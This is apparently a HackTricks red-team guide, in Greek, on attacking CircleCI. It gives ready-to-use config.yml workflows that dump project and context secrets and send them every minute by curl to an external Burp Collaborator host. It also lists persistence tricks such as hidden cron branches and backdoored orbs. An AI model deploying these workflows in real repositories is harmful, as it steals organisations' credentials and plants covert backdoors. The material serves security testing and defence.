CircleCI Security

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

CircleCI είναι μια πλατφόρμα Συνεχούς Ενσωμάτωσης όπου μπορείτε να ορίσετε πρότυπα που υποδεικνύουν τι θέλετε να κάνει με κάποιον κώδικα και πότε να το κάνει. Με αυτόν τον τρόπο μπορείτε να αυτοματοποιήσετε τις δοκιμές ή τις αναπτύξεις απευθείας από το κύριο branch του repo για παράδειγμα.

Permissions

CircleCI κληρονομεί τις άδειες από το github και το bitbucket που σχετίζονται με τον λογαριασμό που συνδέεται.
Στις δοκιμές μου διαπίστωσα ότι όσο έχετε δικαιώματα εγγραφής πάνω στο repo στο github, θα μπορείτε να διαχειριστείτε τις ρυθμίσεις του έργου σας στο CircleCI (να ορίσετε νέα ssh keys, να αποκτήσετε project api keys, να δημιουργήσετε νέα branches με νέες ρυθμίσεις CircleCI…).

Ωστόσο, πρέπει να είστε διαχειριστής του repo για να μετατρέψετε το repo σε έργο CircleCI.

Env Variables & Secrets

Σύμφωνα με τα docs υπάρχουν διάφοροι τρόποι για να φορτώσετε τιμές σε μεταβλητές περιβάλλοντος μέσα σε μια ροή εργασίας.

Built-in env variables

Κάθε κοντέινερ που εκτελείται από το CircleCI θα έχει πάντα συγκεκριμένες env vars που ορίζονται στην τεκμηρίωση όπως CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ή CIRCLE_USERNAME.

Clear text

Μπορείτε να τις δηλώσετε σε καθαρό κείμενο μέσα σε μια εντολή:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο run environment:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο build-job environment:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο περιβάλλον ενός κοντέινερ:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Project Secrets

Αυτά είναι μυστικά που θα είναι προσβάσιμα μόνο από το project (από οποιοδήποτε branch).
Μπορείτε να τα δείτε δηλωμένα στο https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Caution

Η λειτουργία “Import Variables” επιτρέπει την εισαγωγή μεταβλητών από άλλα projects σε αυτό.

Context Secrets

Αυτά είναι μυστικά που είναι σε επίπεδο οργανισμού. Από προεπιλογή, οποιοδήποτε repo θα μπορεί να προσπελάσει οποιοδήποτε μυστικό αποθηκεύεται εδώ:

Tip

Ωστόσο, σημειώστε ότι μια διαφορετική ομάδα (αντί για Όλα τα μέλη) μπορεί να επιλεγεί για να δώσει πρόσβαση στα μυστικά μόνο σε συγκεκριμένα άτομα.
Αυτό είναι αυτή τη στιγμή ένας από τους καλύτερους τρόπους για να αυξήσετε την ασφάλεια των μυστικών, ώστε να μην επιτρέπεται σε όλους να τα προσπελάσουν αλλά μόνο σε ορισμένα άτομα.

Attacks

Search Clear Text Secrets

Αν έχετε πρόσβαση στο VCS (όπως το github) ελέγξτε το αρχείο .circleci/config.yml κάθε repo σε κάθε branch και αναζητήστε πιθανά clear text secrets που είναι αποθηκευμένα εκεί.

Secret Env Vars & Context enumeration

Ελέγχοντας τον κώδικα μπορείτε να βρείτε όλα τα ονόματα των μυστικών που χρησιμοποιούνται σε κάθε αρχείο .circleci/config.yml. Μπορείτε επίσης να αποκτήσετε τα ονόματα των contexts από αυτά τα αρχεία ή να τα ελέγξετε στην κονσόλα ιστού: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltrate Project secrets

Warning

Για να εξάγετε ΟΛΑ τα μυστικά του project και του context, χρειάζεται μόνο να έχετε WRITE πρόσβαση σε μόνο 1 repo σε ολόκληρο τον οργανισμό github (και ο λογαριασμός σας πρέπει να έχει πρόσβαση στα contexts αλλά από προεπιλογή όλοι μπορούν να προσπελάσουν κάθε context).

Caution

Η λειτουργία “Import Variables” επιτρέπει την εισαγωγή μεταβλητών από άλλα projects σε αυτό. Επομένως, ένας επιτιθέμενος θα μπορούσε να εισαγάγει όλες τις μεταβλητές του project από όλα τα repos και στη συνέχεια να εξάγει όλες μαζί.

Όλα τα μυστικά του project είναι πάντα ρυθμισμένα στο env των jobs, οπότε απλά καλώντας env και αποκρύπτοντάς το σε base64 θα εξάγει τα μυστικά στην κονσόλα καταγραφής web workflows:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Αν δεν έχετε πρόσβαση στην κονσόλα ιστού αλλά έχετε πρόσβαση στο repo και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να δημιουργήσετε μια ροή εργασίας που ενεργοποιείται κάθε λεπτό και που εξάγει τα μυστικά σε μια εξωτερική διεύθυνση:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Εξαγωγή Μυστικών Πλαισίου

Πρέπει να καθορίσετε το όνομα του πλαισίου (αυτό θα εξάγει επίσης τα μυστικά του έργου):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Αν δεν έχετε πρόσβαση στην κονσόλα ιστού αλλά έχετε πρόσβαση στο repo και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να τροποποιήσετε μια ροή εργασίας που ενεργοποιείται κάθε λεπτό και που εξάγει τα μυστικά σε μια εξωτερική διεύθυνση:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Warning

Απλώς η δημιουργία ενός νέου .circleci/config.yml σε ένα repo δεν είναι αρκετή για να ενεργοποιήσει μια κατασκευή circleci. Πρέπει να το ενεργοποιήσετε ως έργο στην κονσόλα circleci.

Escape to Cloud

CircleCI σας δίνει την επιλογή να εκτελείτε τις κατασκευές σας στις μηχανές τους ή στις δικές σας.
Από προεπιλογή, οι μηχανές τους βρίσκονται στο GCP, και αρχικά δεν θα μπορείτε να βρείτε τίποτα σχετικό. Ωστόσο, αν ένα θύμα εκτελεί τις εργασίες στις δικές του μηχανές (πιθανώς, σε ένα περιβάλλον cloud), μπορεί να βρείτε ένα cloud metadata endpoint με ενδιαφέροντα πληροφορίες πάνω του.

Σημειώστε ότι στα προηγούμενα παραδείγματα όλα εκκινούνταν μέσα σε ένα κοντέινερ docker, αλλά μπορείτε επίσης να ζητήσετε να εκκινήσετε μια VM μηχανή (η οποία μπορεί να έχει διαφορετικές άδειες cloud):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ή ακόμα και ένα κοντέινερ docker με πρόσβαση σε μια απομακρυσμένη υπηρεσία docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Επιμονή

  • Είναι δυνατόν να δημιουργήσετε tokens χρηστών στο CircleCI για να έχετε πρόσβαση στα API endpoints με την πρόσβαση των χρηστών.
  • https://app.circleci.com/settings/user/tokens
  • Είναι δυνατόν να δημιουργήσετε tokens έργων για να έχετε πρόσβαση στο έργο με τις άδειες που δίνονται στο token.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Είναι δυνατόν να προσθέσετε SSH κλειδιά στα έργα.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Είναι δυνατόν να δημιουργήσετε μια εργασία cron σε κρυφό κλάδο σε ένα απροσδόκητο έργο που διαρρέει όλες τις μεταβλητές περιβάλλοντος καθημερινά.
  • Ή ακόμα και να δημιουργήσετε σε έναν κλάδο / να τροποποιήσετε μια γνωστή εργασία που θα διαρρέει όλα τα μυστικά του έργου καθημερινά.
  • Αν είστε ιδιοκτήτης του github μπορείτε να επιτρέψετε μη επαληθευμένα orbs και να ρυθμίσετε ένα σε μια εργασία ως πίσω πόρτα.
  • Μπορείτε να βρείτε μια ευπάθεια εκτέλεσης εντολών σε κάποια εργασία και να εισάγετε εντολές μέσω ενός μυστικού τροποποιώντας την τιμή του.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks